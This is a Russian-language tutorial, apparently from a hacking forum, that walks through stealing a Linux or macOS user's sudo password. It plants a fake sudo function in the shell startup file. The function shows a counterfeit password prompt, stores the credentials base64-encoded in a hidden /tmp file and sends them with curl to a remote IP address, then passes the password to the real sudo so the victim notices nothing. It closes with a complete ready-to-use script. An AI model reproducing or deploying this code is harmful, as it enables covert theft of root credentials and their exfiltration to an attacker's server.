Для начала немного разберем что такое sudo, по сути это процесс, утилита при помощи которой можно выполнять те или иные операции, запускать программы от имени других пользователей, чаще всего root-пользователей... Во время выполнения команды sudo происходит запрос пароля пользователя использующего данную команду, обычно строка запроса пароля выглядит следующим образом:
Код:
[sudo] password for <username>:
Далее посмотрим информацию о самом sudo, а вернее о самой команде:
Код:
type sudo
sudo is /usr/bin/sudo
Ок, собственно минимально-необходимым требованием для введения атакуемого пользователя в заблуждения нам нужно как минимум два фактора.
Подмена sudo
Нет заменять ничего не будем, достаточно будет добавить соответствующий псевдоним для данной команды, в Linux это может быть файл ~/.bashrc, в macOS ~/.bash_profile, далее используя псевдоним можно использовать "липовый" запрос пароля:
Код:
read -s -p "[sudo] password for $USER: " inputPwd
Данные из полученной переменной можно "положить" в определенный файл:
Код:
printf "\n"; printf '%s\n' $encoded > /tmp/.cached_$USER
Где переменная $encoded, дабы содержимое файла не было прям уж читаемым, содержит обертку связки имени пользователя и пароля в base64:
Код:
encoded=$(echo "$USER : $inputPwd" | base64) > /dev/null 2>&1
Далее пароль можно передать в реальный sudo и выполнить вводимую пользователем команду:
Код:
$realsudo -S -u root bash -c "exit" <<< "$inputPwd" > /dev/null 2>&1
$realsudo "${@:1}"
Отправка данных на удаленный сервер
Далее используя любой удобный способ, например при помощи python3 запускаем web-server:
Код:
python3 -m http.server 88
Немного обновляем наш псевдоним, добавляя в него строчку с IP адресом удаленного сервера:
Код:
curl -s "http://77.37.184.187/$encoded" > /dev/null 2>&1
Где 77.37.184.187 - IP тестового сервера
декодируем:
Код:
$ echo dXNlciA6IFBAJCQK | base64 -d
user : P@$$
Итоговый скрипт
Код:
function sudo ()
{
realsudo="$(which sudo)"
read -s -p "[sudo] password for $USER: " inputPwd
encoded=$(echo "$USER : $inputPwd" | base64) > /dev/null 2>&1
printf "\n"; printf '%s\n' $encoded >> /tmp/.cached_$USER
curl -s "http://77.37.184.187/$encoded" > /dev/null 2>&1
$realsudo -S -u root bash -c "exit" <<< "$inputPwd" > /dev/null 2>&1
$realsudo "${@:1}"
}